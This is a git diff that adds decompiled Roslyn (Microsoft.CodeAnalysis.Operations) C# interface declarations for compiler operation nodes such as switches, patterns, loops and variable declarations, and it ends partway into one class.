diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParameterReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParameterReferenceOperation.cs new file mode 100644 index 0000000..0bd82d2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParameterReferenceOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IParameterReferenceOperation : IOperation +{ + IParameterSymbol Parameter { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParenthesizedOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParenthesizedOperation.cs new file mode 100644 index 0000000..7103f29 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IParenthesizedOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IParenthesizedOperation : IOperation +{ + IOperation Operand { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPatternCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPatternCaseClauseOperation.cs new file mode 100644 index 0000000..e7b2001 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPatternCaseClauseOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IPatternCaseClauseOperation : ICaseClauseOperation, IOperation +{ + new ILabelSymbol Label { get; } + + IPatternOperation Pattern { get; } + + IOperation? Guard { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPatternOperation.cs new file mode 100644 index 0000000..3335bec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPatternOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IPatternOperation : IOperation +{ + ITypeSymbol InputType { get; } + + ITypeSymbol NarrowedType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPlaceholderOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPlaceholderOperation.cs new file mode 100644 index 0000000..072d95c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPlaceholderOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal interface IPlaceholderOperation : IOperation +{ + PlaceholderKind PlaceholderKind { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPointerIndirectionReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPointerIndirectionReferenceOperation.cs new file mode 100644 index 0000000..5780580 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPointerIndirectionReferenceOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal interface IPointerIndirectionReferenceOperation : IOperation +{ + IOperation Pointer { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertyInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertyInitializerOperation.cs new file mode 100644 index 0000000..ff282a3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertyInitializerOperation.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IPropertyInitializerOperation : ISymbolInitializerOperation, IOperation +{ + ImmutableArray InitializedProperties { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertyReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertyReferenceOperation.cs new file mode 100644 index 0000000..a93588d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertyReferenceOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IPropertyReferenceOperation : IMemberReferenceOperation, IOperation +{ + IPropertySymbol Property { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertySubpatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertySubpatternOperation.cs new file mode 100644 index 0000000..cc7ca7c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IPropertySubpatternOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IPropertySubpatternOperation : IOperation +{ + IOperation Member { get; } + + IPatternOperation Pattern { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRaiseEventOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRaiseEventOperation.cs new file mode 100644 index 0000000..ac17a5a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRaiseEventOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IRaiseEventOperation : IOperation +{ + IEventReferenceOperation EventReference { get; } + + ImmutableArray Arguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRangeCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRangeCaseClauseOperation.cs new file mode 100644 index 0000000..0c874a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRangeCaseClauseOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IRangeCaseClauseOperation : ICaseClauseOperation, IOperation +{ + IOperation MinimumValue { get; } + + IOperation MaximumValue { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRangeOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRangeOperation.cs new file mode 100644 index 0000000..e59f737 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRangeOperation.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IRangeOperation : IOperation +{ + IOperation? LeftOperand { get; } + + IOperation? RightOperand { get; } + + bool IsLifted { get; } + + IMethodSymbol? Method { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReDimClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReDimClauseOperation.cs new file mode 100644 index 0000000..aef0164 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReDimClauseOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IReDimClauseOperation : IOperation +{ + IOperation Operand { get; } + + ImmutableArray DimensionSizes { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReDimOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReDimOperation.cs new file mode 100644 index 0000000..5697f8a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReDimOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IReDimOperation : IOperation +{ + ImmutableArray Clauses { get; } + + bool Preserve { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRecursivePatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRecursivePatternOperation.cs new file mode 100644 index 0000000..0bf1091 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRecursivePatternOperation.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IRecursivePatternOperation : IPatternOperation, IOperation +{ + ITypeSymbol MatchedType { get; } + + ISymbol? DeconstructSymbol { get; } + + ImmutableArray DeconstructionSubpatterns { get; } + + ImmutableArray PropertySubpatterns { get; } + + ISymbol? DeclaredSymbol { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRelationalCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRelationalCaseClauseOperation.cs new file mode 100644 index 0000000..b4c8b4f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRelationalCaseClauseOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IRelationalCaseClauseOperation : ICaseClauseOperation, IOperation +{ + IOperation Value { get; } + + BinaryOperatorKind Relation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRelationalPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRelationalPatternOperation.cs new file mode 100644 index 0000000..d531412 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IRelationalPatternOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IRelationalPatternOperation : IPatternOperation, IOperation +{ + BinaryOperatorKind OperatorKind { get; } + + IOperation Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReturnOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReturnOperation.cs new file mode 100644 index 0000000..de71fcf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IReturnOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IReturnOperation : IOperation +{ + IOperation? ReturnedValue { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISimpleAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISimpleAssignmentOperation.cs new file mode 100644 index 0000000..88b9ec2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISimpleAssignmentOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISimpleAssignmentOperation : IAssignmentOperation, IOperation +{ + bool IsRef { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISingleValueCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISingleValueCaseClauseOperation.cs new file mode 100644 index 0000000..6831d4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISingleValueCaseClauseOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISingleValueCaseClauseOperation : ICaseClauseOperation, IOperation +{ + IOperation Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISizeOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISizeOfOperation.cs new file mode 100644 index 0000000..e0aa9e2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISizeOfOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISizeOfOperation : IOperation +{ + ITypeSymbol TypeOperand { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISlicePatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISlicePatternOperation.cs new file mode 100644 index 0000000..68bf51f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISlicePatternOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISlicePatternOperation : IPatternOperation, IOperation +{ + ISymbol? SliceSymbol { get; } + + IPatternOperation? Pattern { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IStopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IStopOperation.cs new file mode 100644 index 0000000..a687b56 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IStopOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IStopOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchCaseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchCaseOperation.cs new file mode 100644 index 0000000..70e69c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchCaseOperation.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISwitchCaseOperation : IOperation +{ + ImmutableArray Clauses { get; } + + ImmutableArray Body { get; } + + ImmutableArray Locals { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchExpressionArmOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchExpressionArmOperation.cs new file mode 100644 index 0000000..4ad1fc4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchExpressionArmOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISwitchExpressionArmOperation : IOperation +{ + IPatternOperation Pattern { get; } + + IOperation? Guard { get; } + + IOperation Value { get; } + + ImmutableArray Locals { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchExpressionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchExpressionOperation.cs new file mode 100644 index 0000000..1fb528e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchExpressionOperation.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISwitchExpressionOperation : IOperation +{ + IOperation Value { get; } + + ImmutableArray Arms { get; } + + bool IsExhaustive { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchOperation.cs new file mode 100644 index 0000000..3071fd6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISwitchOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISwitchOperation : IOperation +{ + ImmutableArray Locals { get; } + + IOperation Value { get; } + + ImmutableArray Cases { get; } + + ILabelSymbol ExitLabel { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISymbolInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISymbolInitializerOperation.cs new file mode 100644 index 0000000..e239c70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ISymbolInitializerOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ISymbolInitializerOperation : IOperation +{ + ImmutableArray Locals { get; } + + IOperation Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IThrowOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IThrowOperation.cs new file mode 100644 index 0000000..be8f4fc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IThrowOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IThrowOperation : IOperation +{ + IOperation? Exception { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITranslatedQueryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITranslatedQueryOperation.cs new file mode 100644 index 0000000..4103982 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITranslatedQueryOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ITranslatedQueryOperation : IOperation +{ + IOperation Operation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITryOperation.cs new file mode 100644 index 0000000..5f5bde2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITryOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ITryOperation : IOperation +{ + IBlockOperation Body { get; } + + ImmutableArray Catches { get; } + + IBlockOperation? Finally { get; } + + ILabelSymbol? ExitLabel { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITupleBinaryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITupleBinaryOperation.cs new file mode 100644 index 0000000..94fc381 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITupleBinaryOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ITupleBinaryOperation : IOperation +{ + BinaryOperatorKind OperatorKind { get; } + + IOperation LeftOperand { get; } + + IOperation RightOperand { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITupleOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITupleOperation.cs new file mode 100644 index 0000000..c1818c1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITupleOperation.cs @@ -0,0 +1,10 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface ITupleOperation : IOperation +{ + ImmutableArray Elements { get; } + + ITypeSymbol? NaturalType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypeOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypeOfOperation.cs new file mode 100644 index 0000000..dba2490 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypeOfOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ITypeOfOperation : IOperation +{ + ITypeSymbol TypeOperand { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypeParameterObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypeParameterObjectCreationOperation.cs new file mode 100644 index 0000000..c4064c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypeParameterObjectCreationOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ITypeParameterObjectCreationOperation : IOperation +{ + IObjectOrCollectionInitializerOperation? Initializer { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypePatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypePatternOperation.cs new file mode 100644 index 0000000..0c528c1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ITypePatternOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface ITypePatternOperation : IPatternOperation, IOperation +{ + ITypeSymbol MatchedType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUnaryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUnaryOperation.cs new file mode 100644 index 0000000..9adb149 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUnaryOperation.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IUnaryOperation : IOperation +{ + UnaryOperatorKind OperatorKind { get; } + + IOperation Operand { get; } + + bool IsLifted { get; } + + bool IsChecked { get; } + + IMethodSymbol? OperatorMethod { get; } + + ITypeSymbol? ConstrainedToType { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUsingDeclarationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUsingDeclarationOperation.cs new file mode 100644 index 0000000..a80d92c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUsingDeclarationOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IUsingDeclarationOperation : IOperation +{ + IVariableDeclarationGroupOperation DeclarationGroup { get; } + + bool IsAsynchronous { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUsingOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUsingOperation.cs new file mode 100644 index 0000000..a85fc0a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUsingOperation.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IUsingOperation : IOperation +{ + IOperation Resources { get; } + + IOperation Body { get; } + + ImmutableArray Locals { get; } + + bool IsAsynchronous { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUtf8StringOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUtf8StringOperation.cs new file mode 100644 index 0000000..2e379cf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IUtf8StringOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IUtf8StringOperation : IOperation +{ + string Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclarationGroupOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclarationGroupOperation.cs new file mode 100644 index 0000000..8c52332 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclarationGroupOperation.cs @@ -0,0 +1,8 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IVariableDeclarationGroupOperation : IOperation +{ + ImmutableArray Declarations { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclarationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclarationOperation.cs new file mode 100644 index 0000000..0b9cc6d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclarationOperation.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IVariableDeclarationOperation : IOperation +{ + ImmutableArray Declarators { get; } + + IVariableInitializerOperation? Initializer { get; } + + ImmutableArray IgnoredDimensions { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclaratorOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclaratorOperation.cs new file mode 100644 index 0000000..9a196d5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableDeclaratorOperation.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Operations; + +public interface IVariableDeclaratorOperation : IOperation +{ + ILocalSymbol Symbol { get; } + + IVariableInitializerOperation? Initializer { get; } + + ImmutableArray IgnoredArguments { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableInitializerOperation.cs new file mode 100644 index 0000000..da80183 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IVariableInitializerOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IVariableInitializerOperation : ISymbolInitializerOperation, IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWhileLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWhileLoopOperation.cs new file mode 100644 index 0000000..efe73b6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWhileLoopOperation.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IWhileLoopOperation : ILoopOperation, IOperation +{ + IOperation? Condition { get; } + + bool ConditionIsTop { get; } + + bool ConditionIsUntil { get; } + + IOperation? IgnoredCondition { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWithOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWithOperation.cs new file mode 100644 index 0000000..91accfc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWithOperation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public interface IWithOperation : IOperation +{ + IOperation Operand { get; } + + IMethodSymbol? CloneMethod { get; } + + IObjectOrCollectionInitializerOperation Initializer { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWithStatementOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWithStatementOperation.cs new file mode 100644 index 0000000..12cb7a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/IWithStatementOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.Operations; + +internal interface IWithStatementOperation : IOperation +{ + IOperation Body { get; } + + IOperation Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ImplicitIndexerReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ImplicitIndexerReferenceOperation.cs new file mode 100644 index 0000000..d37eb85 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ImplicitIndexerReferenceOperation.cs @@ -0,0 +1,109 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ImplicitIndexerReferenceOperation : Operation, IImplicitIndexerReferenceOperation, IOperation +{ + public IOperation Instance { get; } + + public IOperation Argument { get; } + + public ISymbol LengthSymbol { get; } + + public ISymbol IndexerSymbol { get; } + + internal override 